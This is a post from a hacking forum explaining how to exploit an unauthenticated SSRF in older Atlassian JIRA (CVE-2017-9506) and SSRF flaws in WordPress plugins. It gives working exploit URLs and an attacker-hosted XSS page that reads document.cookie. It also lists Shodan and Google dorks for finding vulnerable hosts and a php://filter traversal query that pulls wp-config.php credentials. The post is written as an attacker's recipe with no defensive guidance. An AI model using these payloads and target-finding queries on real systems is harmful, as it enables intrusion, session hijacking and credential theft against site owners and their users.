Welcome!

Welcome to the 1337pwn community forums. Register now for an account.

Registration is free!

Register Now

Announcement

Collapse
No announcement yet.

SSRF & XSS - Exploiting JIRA & WordPress Plugins

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

    SSRF & XSS - Exploiting JIRA & WordPress Plugins

    In Atlassian JIRA versions (< 7.3.5), it is possible for attackers to carry out an Unauthenticated Server-Side Request Forgery (CVE-2017-9506).

    For the purpose of testing to see if the vulnerability exists, the attacker would need to establish an URL such as the following:
    Code:
    https://<BASEPATH>/plugins/servlet/oauth/users/icon-uri?consumerUri=https://insertdomainhere
    If an attacker replaces the <BASEPATH> with their Atlassian product base path and executes this request in a web browser, they may be presented with a web page they entered in 'consumerUri='.

    In the event that the attacker obtains a 404 error message, they will know that the servlet is no such thing in newer versions.

    Consequences

    Since the server executes an HTTP request with the attacker's preferred URL and returns the results, the attacker may access any resource the server holds access to.

    Frequently the server is located on an internal network and if an attacker knows or manages to correctly guess the name of any HTTP resources on the specific network, they may access all resources the server possesses access to.

    For instance, an adversary can access a vulnerable JIRA server via the internet. This marks in contrast to an internal Confluence which is solely reachable on the internal network.

    The attacker may access it using an URL such as the following:
    Code:
    https://<BASEPATH>/plugins/servlet/oauth/users/icon-uri?consumerUri=https://<CONFLUENCE>/
    An attacker could leverage this to perform phishing for credentials by accessing a phony login page using this URL.

    The attacker is aware that the TLS lock is green and the domain name appears to be verified. They could leverage this by serving dubious content with a trusted domain.

    An attacker may also include an XSS vector via a script:
    Code:
    <html>
    
    <head>
    
    <title>SSRF to XSS</title>
    
    </head>
    
    <body>
       <script>
         alert( document.domain + " is vulnerable" );
                      alert( document.cookie);
    
    </script>
    
    </body>
    
    </html>
    The attacker would subsequently host this file on their server in order for them to successfully activate the XSS:
    Code:
    https://<host>/scriptxss
    So the attacker could use an HTML file to activate Cross-site Scripting:
    Code:
    https://<BASEPATH>/plugins/servlet/oauth/users/icon-uri?consumerUri=https://<ATTACKERSDOMAIN>/ssrf.html
    An adversary can use this tactic to steal the cookies of a victim.

    Attackers can find targets easily by conducting reconnaissance using search engine queries (dorks) on Shodan:
    Code:
    X-AUSERNAME: anonymous
    X-AUSERNAME: anonymous org:"Amazon.com"
    X-AUSERNAME: anonymous org:"Microsoft Azure"
    X-AUSERNAME: anonymous org:"google"
    For example, Qards - a WordPress plugin that permits one to quickly create landing pages - is vulnerable to SSRF:
    Code:
    https://<host>/wp-content/plugins/qards/html2canvasproxy.php?url=http://<INSERTDOMAIN>
    A Google dork would include the following:
    Code:
    inurl:wp-content/plugins/qards
    Another possible attack vector for a WordPress plugin could include something like the following:
    Code:
    https://<host>/wp-content/plugins/nameofplugin/private.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php
Working...
X